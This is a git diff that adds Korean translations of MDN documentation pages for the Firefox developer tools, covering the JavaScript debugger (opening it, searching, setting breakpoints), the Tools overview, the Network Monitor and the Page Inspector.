diff --git a/files/ko/tools/how_to/index.html b/files/ko/tools/how_to/index.html
new file mode 100644
index 0000000000..40f5269f45
--- /dev/null
+++ b/files/ko/tools/how_to/index.html
@@ -0,0 +1,11 @@
+---
+title: How to
+slug: Tools/How_to
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Tools/Debugger/How_to
+---
+<div>{{ToolsSidebar}}</div><p><span class="seoSummary">These articles describe how to use the debugger.</span></p>
+
+<p>{{ ListSubpages () }}</p>
diff --git a/files/ko/tools/how_to/open_the_debugger/index.html b/files/ko/tools/how_to/open_the_debugger/index.html
new file mode 100644
index 0000000000..5b27e11b7a
--- /dev/null
+++ b/files/ko/tools/how_to/open_the_debugger/index.html
@@ -0,0 +1,24 @@
+---
+title: Open the debugger
+slug: Tools/How_to/Open_the_debugger
+translation_of: Tools/Debugger/How_to/Open_the_debugger
+---
+<div>{{ToolsSidebar}}</div><div class="note">
+<p>이 페이지는 Firefox 52 이상, Firefox Nightly 및 Firefox Developer Edition 에 나타나는 JavaScript Debugger 에 대해 설명합니다.</p>
+
+<p>이전 버전의 Firefox 또는 FireFox Beta 또는 Release 에서는 어떠했는지 보려면 <a href="/ko/docs/Tools/Debugger_%28before_Firefox_52%29">Debugger (before Firefox 52)</a> 를 참조하세요.</p>
+
+<p>이전 버전의 Debugger 로 다시 전환해야 하는 경우, about:config 에서 "devtools.debugger.new-debugger-frontend" 를 false 로 설정하면 됩니다.</p>
+</div>
+
+<p>Debugger 를 여는 방법에는 3가지가 있습니다</p>
+
+<ul>
+ <li>Firefox 상단 메뉴 모음 (또는 메뉴 막대를 표시하거나 Mac OS X에있는 경우 도구 메뉴)의 [도구] - [웹 개발자 도구] - [디버거]를 선택하십시오.</li>
+ <li>단축키 <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>S</kbd> 사용하여 열 수 있습니다. (Mac OS X에서는 <kbd>Command</kbd><kbd>Option</kbd><kbd>S</kbd>)</li>
+ <li>매뉴 버튼 ( <img alt="new fx menu" class="frameless wiki-image" src="https://support.cdn.mozilla.net/media/uploads/gallery/images/2014-01-10-13-08-08-f52b8c.png" title=""> )을 누릅니다, [웹 개발자 도구] - [디버거]를 선택하십시오.</li>
+</ul>
+
+<p>{{EmbedYouTube("yI5SlVQiZtI")}}</p>
+
+<p> </p>
diff --git a/files/ko/tools/how_to/search/index.html b/files/ko/tools/how_to/search/index.html
new file mode 100644
index 0000000000..9971abcaae
--- /dev/null
+++ b/files/ko/tools/how_to/search/index.html
@@ -0,0 +1,24 @@
+---
+title: Search
+slug: Tools/How_to/Search
+translation_of: Tools/Debugger/How_to/Search
+---
+<div>{{ToolsSidebar}}</div><div class="note">
+<p>이 페이지는 Firefox 52 이상, Firefox Nightly 및 Firefox Developer Edition에 나타나는 JavaScript 디버거에 대해 설명합니다.</p>
+
+<p>이전 버전의 Firefox 나 Firefox Beta 및 Release에서 어떤 모습인지 보려면 <a href="https://developer.mozilla.org/en-US/docs/Tools/Debugger_%28before_Firefox_52%29">Debugger (Firefox 52 이전)</a>를 참조하십시오.</p>
+
+<p>이 버전의 디버거를 가져와 이전 버전으로 다시 전환해야하는 경우 about:config를 url에 입력하여 "devtools.debugger.new-debugger-frontend"환경 설정을<code>false</code>로 설정하여 수행 할 수 있습니다.</p>
+</div>
+
+<h2 id="파일_찾기">파일 찾기</h2>
+
+<p>특정 파일을 검색하려면, 단축키 <kbd>Control</kbd> + <kbd>P</kbd> (Mac에서는 <kbd>Command</kbd> + <kbd>P</kbd> ) 를 누르고 검색어를 입력하세요. <a href="/ko/docs/Tools/Debugger/UI_Tour#소스_창(Source_pane)">소스창(source pane)</a>에는 입력하는 동안 일치하는 모든 파일 목록을 표시됩니다. 위 아래 방향키로 목록을 이동할 수 있고,  <kbd>Enter(Return)</kbd>키로 해당 파일을 열 수 있습니다:</p>
+
+<p>{{EmbedYouTube("xXsfYx0THWg")}}</p>
+
+<h2 id="파일_내에서_찾기">파일 내에서 찾기</h2>
+
+<p><a href="/ko/docs/Tools/Debugger/UI_Tour#소스_창(Source_pane)">소스창(source pane)</a>에 로드된 파일의 특정 단어를 검색하려면 <a href="/ko/docs/Tools/Debugger/UI_Tour#소스_창(Source_pane)">소스창(source pane)</a>에 포커스가 있는 상태에서 단축키 <kbd>Control</kbd> + <kbd>F</kbd> (Mac에서는 <kbd>Command</kbd> + <kbd>F</kbd>) 를 누르고 <kbd>Enter(Return)</kbd> 키를 눌러서 검색합니다. 디버거는 코드내에 일치하는 검색한 단어의 수를 표시하고 각 단어를 네모칸으로 표시합니다 :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14997/new-search.png" style="display: block; height: 524px; margin-left: auto; margin-right: auto; width: 595px;"></p>
diff --git a/files/ko/tools/how_to/set_a_breakpoint/index.html b/files/ko/tools/how_to/set_a_breakpoint/index.html
new file mode 100644
index 0000000000..f5d2af9e06
--- /dev/null
+++ b/files/ko/tools/how_to/set_a_breakpoint/index.html
@@ -0,0 +1,31 @@
+---
+title: Set a breakpoint
+slug: Tools/How_to/Set_a_breakpoint
+translation_of: Tools/Debugger/How_to/Set_a_breakpoint
+---
+<div>{{ToolsSidebar}}</div><div class="note">
+<p>이 페이지는 Firefox 52 이상, Firefox Nightly 및 Firefox Developer Edition에 나타나는 JavaScript 디버거에 대해 설명합니다.</p>
+
+<p>이전 버전의 Firefox 나 Firefox Beta 및 Release에서 어떤 모습인지 보려면 <a href="https://developer.mozilla.org/en-US/docs/Tools/Debugger_%28before_Firefox_52%29">Debugger (Firefox 52 이전)</a>를 참조하십시오.</p>
+
+<p>이 버전의 디버거를 가져와 이전 버전으로 다시 전환해야하는 경우 about:config를 url에 입력하여 "devtools.debugger.new-debugger-frontend"환경 설정을<code>false</code>로 설정하여 수행 할 수 있습니다.</p>
+</div>
+
+<p>중단점을 설정하는 방법은 다음과 같은 세가지 방법이 있습니다:</p>
+
+<ul>
+ <li><a href="/ko/docs/Tools/Debugger/UI_Tour#소스_창(Source_pane)">소스 창(source pane)</a> 내에서, 중단점을 원하는 지점의 줄번호(line number)를 클릭하여 중단점을 설정할 수 있습니다.</li>
+ <li><a href="/ko/docs/Tools/Debugger/UI_Tour#소스_창(Source_pane)">소스 창(source pane)</a> 내에서,중단점을 원하는 지점의 줄번호에서 마우스 오른쪽 클릭하여 바로가기 메뉴의"중단점 추가"를 클릭하여 중단점을 설정할 수 있습니다.</li>
+ <li><a href="/ko/docs/Tools/Debugger/UI_Tour#소스_창(Source_pane)">소스 창(source pane)</a> 내에서, 중단점을 원하는 지점의 부분에 커서를 놓고 단축키Ctrl+B (Windows/Linux) 또는 Command+B (Mac OS X)를 눌러서 중단점을 설정할 수 있습니다.</li>
+</ul>
+
+<p>아래 비디오는 바로가기 메뉴(context menu)를 사용하여 중단 점을 설정합니다:</p>
+
+<p>{{EmbedYouTube("P7b98lEijF0")}}</p>
+
+<p>각 중단점은 디버거의 두 위치에 표시됩니다:</p>
+
+<ul>
+ <li><a href="/ko/docs/Tools/Debugger/UI_Tour#중단점_목록(Breakpoint_list)">중단점 목록</a>에는 중단점의 파일 이름과 줄번호가 표시됩니다.</li>
+ <li><a href="/ko/docs/Tools/Debugger/UI_Tour#소스_창(Source_pane)">소스 창(source pane)</a>내에서 중단점은 파란색 화살표, <a href="/ko/docs/Tools/Debugger/How_to/Set_a_conditional_breakpoint">조건부 중단점</a>은 주황색 화살표로 표시됩니다.</li>
+</ul>
diff --git a/files/ko/tools/index.html b/files/ko/tools/index.html
new file mode 100644
index 0000000000..0b7421b03d
--- /dev/null
+++ b/files/ko/tools/index.html
@@ -0,0 +1,217 @@
+---
+title: Firefox 개발자 도구
+slug: Tools
+tags:
+  - 가이드
+  - 개발 도구
+  - 개발자 에디션
+  - 개발자버전
+  - 디버그
+  - 웹개발
+  - 웹애플리케이션
+  - 웹페이지
+  - 자바스크립트
+  - 파이어폭스
+translation_of: Tools
+---
+<div>{{ToolsSidebar}}</div>
+
+<div class="summary"><span class="seoSummary">HTML과 CSS, Javascript를 데스크탑이나 모바일에서 확인하거나 편집, 디버깅 합니다.</span></div>
+
+<div class="column-container zone-callout"><a href="https://www.mozilla.org/en-US/firefox/developer/" style="float: right; margin-bottom: 20px; padding: 10px; text-align: center; border-radius: 4px; display: inline-block; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">Firefox Developer Edition 설치 하기</a>
+
+<div class="summary">
+<h3 id="Whats_new_in_Aurora.3F" name="What's_new_in_Aurora.3F">Firefox Developer Edition에 새로 추가된 기능</h3>
+
+<p><a href="/en-US/Firefox/Developer_Edition">Firefox Developer Edition</a>은 가장 최신 버전의 Firefox 기능과 함께, 실험 중인 개발자 도구로 개발자분들에게 맞춤 제작된 Firefox 버전을 제공해드립니다. 현재 Developer Edition은 다음과 같은 기능 업데이트를 포함하고 있습니다.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Work_with_animations#Firefox_43">New animation inspector UI</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Web_Console/Console_messages#Server">Server logging in the Web Console</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Overridden_declarations">Quickly find the rule that overrode a CSS declaration</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML#Element_popup_menu">"Use in Console" context menu item in Inspector</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS#Strict_search">"Strict" option for filtering in the Rules view</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Tools/Web_Console/Console_messages#Network">Network entries in the Console now link to the Network Monitor</a></li>
+ <li><span class="author-g-1scq3ywqbljc5puc">New sidebar UI for WebIDE</span></li>
+</ul>
+</div>
+</div>
+
+<div class="column-container zone-callout"><a href="http://mzl.la/devtools" style="float: right; margin-bottom: 20px; padding: 10px; text-align: center; border-radius: 4px; display: inline-block; background-color: #81BC2E; white-space: nowrap; color: white; text-shadow: 0px 1px 0px rgba(0, 0, 0, 0.25); box-shadow: 0px 1px 0px 0px rgba(0, 0, 0, 0.2), 0px -1px 0px 0px rgba(0, 0, 0, 0.3) inset;">아이디어 공유하기</a>
+
+<div class="summary">
+<h3 id="Share_your_ideas" name="Share_your_ideas">여러분들의 생각을 알려주세요</h3>
+
+<p>개발자 도구에 새 기능을 제안하거나 다른 개발자가 제안한 아이디어에 투표하세요.</p>
+</div>
+</div>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7307/inspector.png" style="display: block; height: 467px; margin-left: auto; margin-right: auto; width: 815px;"></p>
+
+<div class="column-container">
+<div class="column-half">
+<h2 id="Creating" name="Creating">만들기</h2>
+
+<p>웹사이트나 웹 애플리케이션을 위한 저작 도구입니다.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Tools/Scratchpad">스크래치 패드</a></dt>
+ <dd>자바스크립트를 작성하고 실행해볼 수 있는 Firefox에 내장 편집기입니다.</dd>
+ <dt><a href="/en-US/docs/Tools/Style_Editor">스타일 편집기</a></dt>
+ <dd>현재 페이지의 CSS 스타일을 보거나 편집합니다.</dd>
+ <dt><a href="/en-US/docs/Tools/Shader_Editor">셰이더 에디터</a></dt>
+ <dd><a href="/en-US/docs/Web/WebGL">WebGL</a>이 사용하는 버텍스나 부분 셰이더를 열어보고 편집합니다.</dd>
+ <dt><a href="/en-US/docs/Tools/Web_Audio_Editor">웹 오디오 편집기</a></dt>
+ <dd>오디오 컨텍스트에 있는 오디오 노드 그래프를 검사하거나 매개변수를 수정합니다.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<h2 id="Exploring" name="Exploring">탐색 및 디버깅</h2>
+
+<p>웹사이트나 웹 애플리케이션을 검사하고, 탐색하거나 디버깅 합니다.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Tools/Web_Console">웹 콘솔</a></dt>
+ <dd>웹 페이지의 로그 메세지를 확인하거나, 자바스크립트를 사용하여 페이지와 상호 작용합니다.</dd>
+ <dt><a href="/en-US/docs/Tools/Page_Inspector">페이지 검사기</a></dt>
+ <dd>페이지의 HTML과 CSS를 보거나 수정할 수 있습니다.</dd>
+ <dt><a href="/en-US/docs/Tools/Debugger">JavaScript 디버거</a></dt>
+ <dd>페이지의 JavaScript 실행을 멈추거나, 단계별로 검사 혹은 수정할 수 있습니다.</dd>
+ <dt><a href="/en-US/docs/Tools/Network_Monitor">네트워크 모니터</a></dt>
+ <dd>페이지를 로드 할 때 어떤 네트워크 요청이 일어나는지 확인하세요.</dd>
+ <dt><a href="/en-US/docs/Tools/Storage_Inspector">저장소 검사기</a></dt>
+ <dd>페이지에 존재하는 쿠키, 로컬 저장소, indexedDB 및 세션 저장소를 검사합니다.</dd>
+ <dt><a href="/en-US/docs/Tools/GCLI">개발자 도구 모음</a></dt>
+ <dd>개발자 도구를 위한 커맨드라인 인터페이스입니다.</dd>
+ <dt><a href="/en-US/docs/Tools/3D_View">3D View</a></dt>
+ <dd><span class="short_text" id="result_box" lang="ko"><span class="atn hps">페이지를 3차원 시각화하여 보여줍니다.</span></span></dd>
+ <dt><a href="/en-US/docs/Tools/Eyedropper">점안기 | Eyedropper</a></dt>
+ <dd>페이지에서 색상을 선택하세요.</dd>
+ <dt><a href="/en-US/docs/Tools/Working_with_iframes">iframe 선택하기</a></dt>
+ <dd>컨텐츠가 어떤 iframe에서 표시될지 결정하세요.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<div class="column-container">
+<div class="column-half">
+<h2 id="Mobile" name="Mobile">모바일</h2>
+
+<p>모바일 개발을 위한 도구입니다.</p>
+
+<dl>
+ <dt><a href="/en-US/Firefox_OS/Using_the_App_Manager">App 매니저</a></dt>
+ <dd>Firefox OS용 애플리케이션을 설계하고 개발하세요.</dd>
+ <dt><a href="/en-US/docs/Tools/WebIDE">웹 IDE</a></dt>
+ <dd>App 매니저를 Firefox 33 이후로 계속 사용할 수 있도록 한 대체품입니다.</dd>
+ <dt><a href="/en-US/docs/Tools/Firefox_OS_Simulator">Firefox OS 시뮬레이터</a></dt>
+ <dd>Firefox OS가 설치된 디바이스 없이도 데스크탑에서 Firefox OS용 애플리케이션을 실행하고 디버깅할 수 있습니다.</dd>
+ <dt><a href="/en-us/docs/Tools/Responsive_Design_View">반응형 디자인 보기</a></dt>
+ <dd>브라우저 창의 크기를 변경하지 않고도 여러분의 웹사이트나 애플리케이션이 다른 크기의 스크린에서 어떻게 보이는지 확인할 수 있습니다.</dd>
+ <dt><a href="/en-US/docs/Tools/Remote_Debugging/Firefox_for_Android">Android용 Firefox에서 디버깅</a></dt>
+ <dd>Android에서 Firefox와 연결하여 디버깅 할 수 있는 개발 도구입니다.</dd>
+ <dt><a href="/en-US/docs/Tools/Remote_Debugging/Firefox_for_Android">Android용 Firefox에서 웹 IDE로 디버깅</a></dt>
+ <dd>데스크탑용 Firefox 36, Android용 Firefox 35 이상에서 더 간편하게 디버깅할 수 있습니다.</dd>
+ <dt><a href="/en-US/docs/Tools/Valence">Valence</a></dt>
+ <dd>iOS의 Safari와 Android의 Chrome에 연결하여 디버깅 할 수 있는 개발 도구입니다.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<h2 id="Performance" name="Performance">성능</h2>
+
+<p>성능 문제를 진단하고, 개선합니다.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Tools/Performance">성능 도구 | Performance tool</a></dt>
+ <dd>개선된 Javascript 프로파일러와 프레임율 타임라인을 제공합니다.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Frame_rate">프레임율 그래프</a></dt>
+ <dd>당신의 사이트의 프레임율 보기.</dd>
+</dl>
+
+<dl>
+ <dt></dt>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Waterfall">워터폴</a></dt>
+ <dd>어떤 브라우저가 사이트에서 무슨일을 하고 있는지 알아보기.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Call_Tree">콜 트리</a></dt>
+ <dd>당신의 Javascript 코드가 어디에서 시간을 소비하고 있는지 알아보기.</dd>
+ <dt><a href="/en-US/docs/Tools/Paint_Flashing_Tool">Paint Flashing 도구</a></dt>
+ <dd>이벤트를 통해 페이지가 업데이트 된 부분을 눈에 띄게 표시해 주는 도구입니다.</dd>
+ <dt><a href="/en-US/docs/Tools/Web_Console#Reflow_events">리플로우 이벤트 로깅</a></dt>
+ <dd>웹 콘솔에서 페이지의 리플로우 이벤트가 발생했는지 확인할 수 있습니다.</dd>
+ <dt><a href="/en-US/docs/Tools/Network_Monitor#Performance_analysis">네트워크 성능 | Network Performance</a></dt>
+ <dd>페이지가 로딩될 때 많은 시간이 소요되는 부분을 점검하세요.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<div class="column-container">
+<div class="column-half">
+<h2 id="Debugging_the_browser" name="Debugging_the_browser">브라우저 디버깅하기</h2>
+
+<p>보통의 경우, 개발자 도구는 웹 페이지나 웹 애플리케이션을 디버깅 하지만 브라우저에 연결하여 브라우저나 애드온 프로그램 개발에 유용하게 사용할 수도 있습니다.</p>
+
+<dl>
+ <dt><a href="/ko/docs/Tools/Browser_Console">브라우저 콘솔</a></dt>
+ <dd>브라우저나 애드온 프로그램에서 발생한 로그 메시지를 확인하세요. 페이지에서 직접 Javascript 코드를 실행할 수도 있습니다.</dd>
+ <dt><a href="/ko/docs/Tools/Browser_Toolbox">브라우저 도구 박스</a></dt>
+ <dd>브라우저에 개발자 도구를 추가하세요.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<h2 id="Extending_the_devtools" name="Extending_the_devtools">개발자 도구 확장하기</h2>
+
+<p>개발자 도구는 확장이 용이하도록 디자인 되었습니다. Firefox 애드온은 기존의 도구를 확장하거나 새로운 도구를 추가하기 위한 컴포넌트 및 개발자 도구를 다룰 수 있으며, 원격 디버깅 프로토콜을 통해 여러분만의 도구를 사용해 웹사이트를 디버깅하거나, 혹은 Firefox에서 다른 디바이스를 디버깅하는 여러분만의 클라이언트나 서버를 구현할 수도 있습니다.</p>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/ko/docs/Tools/Adding_a_panel_to_the_toolbox">개발자 도구 화면에서 새 패널 추가하기</a></dt>
+ <dd>개발자 도구 화면에서 새 패널을 추가하는 애드온을 만들어 보세요.</dd>
+</dl>
+
+<dl>
+ <dt><a href="https://wiki.mozilla.org/Remote_Debugging_Protocol">원격 디버깅 프로토콜</a></dt>
+ <dd>원격 디버깅 프로토콜은 Firefox 개발자 도구가 Firefox나 Firefox OS 장치로 연결할 수 있게 해줍니다.</dd>
+ <dt><a href="/ko/docs/Tools/Editor">소스 편집기</a></dt>
+ <dd>여러분이 개발한 애드온 프로그램에 Firefox 코드 편집기를 내장할 수 있습니다.</dd>
+ <dt><a href="https://developer.mozilla.org/ko/docs/Tools/Debugger-API">디버거 인터페이스</a></dt>
+ <dd>작성한 자바스크립트 코드의 실행 결과를 관찰할 수 있는 API입니다. Firefox 개발자 도구는 이 API를 사용해서 Javascript 디버거를 만들었습니다.</dd>
+ <dt><a href="/ko/docs/Tools/Web_Console/Custom_output">웹 콘솔 출력 커스터마이징</a></dt>
+ <dd><a href="/ko/docs/Tools/Browser_Console">브라우저 콘솔</a>과 <a href="/ko/docs/Tools/Web_Console">웹 콘솔</a>을 커스터마이징 하는 방법을 알아보세요.</dd>
+ <dt><a href="https://developer.mozilla.org/ko/docs/Tools/Example_add-ons">개발자 도구 애드온 예제</a></dt>
+ <dd>예제를 활용하여 개발자 도구 애드온 프로그램이 어떻게 만들어지는지 이해해 보세요.</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="More_resources" name="More_resources">다른 리소스</h2>
+
+<p>이 섹션의 리소스들은 Mozilla 개발자 도구 팀에서 제공하는 것이 아니지만 웹 개발자들에게 잘 알려진 것들이며, 이 중에는 Firefox 애드온 프로그램에 포함된 것도 있습니다. 전체 목록을 보려면 <a href="https://addons.mozilla.org/ko/firefox/extensions/web-development/">addons.mozilla.org 사이트의 "Web Developer" 카테고리</a>를 확인하세요.</p>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="https://www.getfirebug.com/">Firebug</a></dt>
+ <dd>아주 유명하고 강력한 웹 개발 도구이며, 자바스크립트 디버거와 HTML과 CSS 뷰어, 네트워크 모니터를 포함합니다.</dd>
+ <dt><a href="/ko/docs/DOM_Inspector">DOM 검사기</a></dt>
+ <dd>웹 페이지의 DOM이나 XUL 윈도우를 탐색하고 편집하며, 점검해 볼 수 있는 도구입니다.</dd>
+ <dt><a href="https://addons.mozilla.org/ko/firefox/addon/web-developer/">웹 개발자</a></dt>
+ <dd>다양한 웹 개발 도구를 브라우저의 메뉴나 툴바에 추가하세요.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="https://webmaker.org/ko/tools/">웹메이커 도구</a></dt>
+ <dd>Mozilla에서 웹 개발을 시작하는 사람들을 위해 만든 도구들을 모아 두었습니다.</dd>
+ <dt><a href="http://www.w3.org/Status.html">W3C 검사기</a></dt>
+ <dd>W3C 웹사이트는 여러분의 <a href="http://validator.w3.org/">HTML</a>과 <a href="http://jigsaw.w3.org/css-validator/">CSS</a>를 포함한 웹사이트 정합성을 확인하는 여러 도구들을 제공하고 있습니다.</dd>
+ <dt><a href="http://www.jshint.com/">JSHint</a></dt>
+ <dd>JavaScript 코드 분석 도구입니다.</dd>
+</dl>
+</div>
+</div>
diff --git a/files/ko/tools/network_monitor/index.html b/files/ko/tools/network_monitor/index.html
new file mode 100644
index 0000000000..899055fb55
--- /dev/null
+++ b/files/ko/tools/network_monitor/index.html
@@ -0,0 +1,63 @@
+---
+title: Network Monitor
+slug: Tools/Network_Monitor
+tags:
+  - 가이드
+  - 개발자도구
+  - 네트워킹
+  - 데브툴
+  - 디버깅
+  - 툴
+  - 파이어폭스
+translation_of: Tools/Network_Monitor
+---
+<div>{{ToolsSidebar}}</div>
+
+<p>네트워크 모니터는 파이어폭스가 페이지를 로드할 때나 <a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequests</a>로 인해 행해진 모든 네트워크 요청들의 소요 시간 및 세부사항을 나타냅니다.</p>
+
+<h2 id="네트워크_모니터_열기">네트워크 모니터 열기</h2>
+
+<p>네트워크 모니터를 여는데 몇 가지 다른 방법이 있습니다:</p>
+
+<ul>
+ <li>다음 키를 누릅니다:  <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>E</kbd> ( Mac 에서는 <kbd>Command</kbd> + <kbd>Option</kbd> + <kbd>E</kbd> 누릅니다).</li>
+ <li>웹 개발자 메뉴 (OS X 및 Linux의 도구 메뉴의 서브 메뉴)에서 "네트워크"를 선택하십시오.</li>
+ <li>기본 툴바 또는 햄버거 메뉴(<img alt="" src="https://mdn.mozillademos.org/files/12712/hamburger.png" style="height: 20px; width: 22px;">) 아래에 있는 렌치 모양 아이콘(<img alt="" src="https://mdn.mozillademos.org/files/12710/wrench-icon.png" style="height: 21px; width: 21px;">)을 클릭 한 다음 "Network"를 선택하세요.</li>
+</ul>
+
+<p>네트워크 모니터가 브라우저 창 하단에 나타납니다. 처음 네트워크 모니터를 열었을 때, request 정보가 보이지 않고 아래와 같이 나타납니다. <img alt="" src="https://mdn.mozillademos.org/files/16854/network_monitor_new.png" style="border: 1px solid black; display: block; margin: 0 auto;"></p>
+
+<p>두 가지 액션 모두, 네트워크 모니터가 네트워크 활동 모니터링을 시작하게 합니다. 도구가 네트워크 요청들을 모니터링하면 화면에 다음과 같이 표시됩니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16245/network_monitor.png" style="border: 1px solid black; display: block; height: 541px; margin: 0px auto; width: 800px;" title=""></p>
+
+<p>네트워크 모니터는 도구 상자가 열려있을 때면 네트워크 모니터가 선택되지 않아도 네트워크 요청들을 기록합니다. 따라서, 네트워크 활동을 보기 위해서 Console을 보고 있어도 Console을 Network 모니터로 전환함으로써 페이지를 새로고침할 필요 없이 디버깅을 시작 할 수 있습니다.</p>
+
+<h2 id="UI_overview">UI overview</h2>
+
+<p>UI는 크게 네 부분으로 나뉩니다:</p>
+
+<ul>
+ <li>메인 화면에는 <a href="/en-US/docs/Tools/Network_Monitor/Toolbar">toolbar</a>, <a href="/en-US/docs/Tools/Network_Monitor/request_list">network request list</a>, <a href="/en-US/docs/Tools/Network_Monitor/request_details">network request details pane</a>이 있습니다:</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16246/Network_Monitor_Closeup.png" style="border: 1px solid black; display: block; height: 747px; margin: 0px auto; width: 800px;" title=""></p>
+
+<ul>
+ <li>The <a href="/en-US/docs/Tools/Network_Monitor/Performance_analysis">performance analysis</a> view는 별도의 화면입니다:</li>
+</ul>
+
+<p><img alt="Performance analysis view" src="https://mdn.mozillademos.org/files/16276/network_performance.png" style="border: 1px solid black; display: block; height: 1176px; margin-left: auto; margin-right: auto; width: 1382px;" title=""></p>
+
+<h2 id="Working_with_the_network_monitor">Working with the network monitor</h2>
+
+<p>The following articles cover different aspects of using the network monitor:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Tools/Network_Monitor/Toolbar">Toolbar</a></li>
+ <li><a href="/en-US/docs/Tools/Network_Monitor/request_list">Network request list</a></li>
+ <li><a href="/en-US/docs/Tools/Network_Monitor/request_details">Network request details</a></li>
+ <li><a href="/en-US/docs/Tools/Network_Monitor/recording">Network traffic recording</a></li>
+ <li><a href="/en-US/docs/Tools/Network_Monitor/Performance_Analysis">Performance analysis</a></li>
+ <li><a href="/en-US/docs/Tools/Network_Monitor/Throttling">Throttling</a></li>
+</ul>
diff --git a/files/ko/tools/page_inspector/index.html b/files/ko/tools/page_inspector/index.html
new file mode 100644
index 0000000000..c98dd8d947
--- /dev/null
+++ b/files/ko/tools/page_inspector/index.html
@@ -0,0 +1,48 @@
+---
+title: 페이지 검사기
+slug: Tools/Page_Inspector
+translation_of: Tools/Page_Inspector
+---
+<div>{{ToolsSidebar}}</div><p>페이지의 HTML 과 CSS 를 검사하고 수정하기 위해 페이지 검사기를 사용하라.</p>
+
+<p>파이어폭스의 로컬 복사본으로 로드된 페이지를 검사하거나 파이어폭스 운영체제 기기 혹은 안드로이드 파이어폭스 같은 원격 목표를 검사할 수 있다. 원격 목표물의 개발자 도구에 연결하는 법을 배우기 위해 <a href="/en-US/docs/Tools/Remote_Debugging">remote debugging </a>을 보라.</p>
+
+<hr>
+<h2 id="사용자_인터페이스_투어">사용자 인터페이스 투어</h2>
+
+<p>검사기를 둘러싼 자신만의 방법을 찾기 위해 <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour">quick tour of the UI</a> 이 있다.</p>
+
+<hr>
+<h2 id="방법">방법</h2>
+
+<p>어떤 것이 검사기로 작업 가능한 지 찾기 위해 다음의 방법 지침을 보라:</p>
+
+<div class="twocolumns">
+<ul>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Open_the_Inspector">Open the Inspector</a> 검사기 열기</li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML">Examine and edit HTML</a> HTML 검사하고 수정하기</li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model">Examine and edit the box model</a> 박스 모델 검사하고 수정하기</li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Inspect_and_select_colors">Inspect and select colors</a> 색상 검사하고 선택하기</li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Reposition_elements_in_the_page">Reposition elements in the page</a> 페이지 내 요소의 위치 재정의하기</li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/View_fonts">View fonts</a> 글꼴 보기</li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Visualize_transforms">Visualize transforms</a> 변이 시각화하기</li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Use_the_Inspector_API">Use the Inspector API</a> 검사기 API 사용하기</li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Select_an_element">Select an element</a> 요소 선택하기</li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS">Examine and edit CSS</a> CSS 검사하고 수정하기</li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_event_listeners">Examine event listeners</a> 이벤트 리스너 검사하기</li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Work_with_animations">Work with animations</a> 애니메이션 작업하기</li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_filters">Edit CSS filters</a> CSS 필터 수정하기</li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/View_background_images">View background images</a> 배경 이미지 보기</li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Use_the_Inspector_from_the_Web_Console">Use the Inspector from the Web Console</a> 웹콘솔의 검사기 사용하기</li>
+</ul>
+</div>
+
+<hr>
+<h2 id="참고">참고</h2>
+
+<div class="twocolumns">
+<ul>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/Keyboard_shortcuts">Keyboard shortcuts</a> 키보드 단축키</li>
+ <li><a href="/en-US/docs/Tools/Tools_Toolbox#Inspector">Settings</a> 설정</li>
+</ul>
+</div>
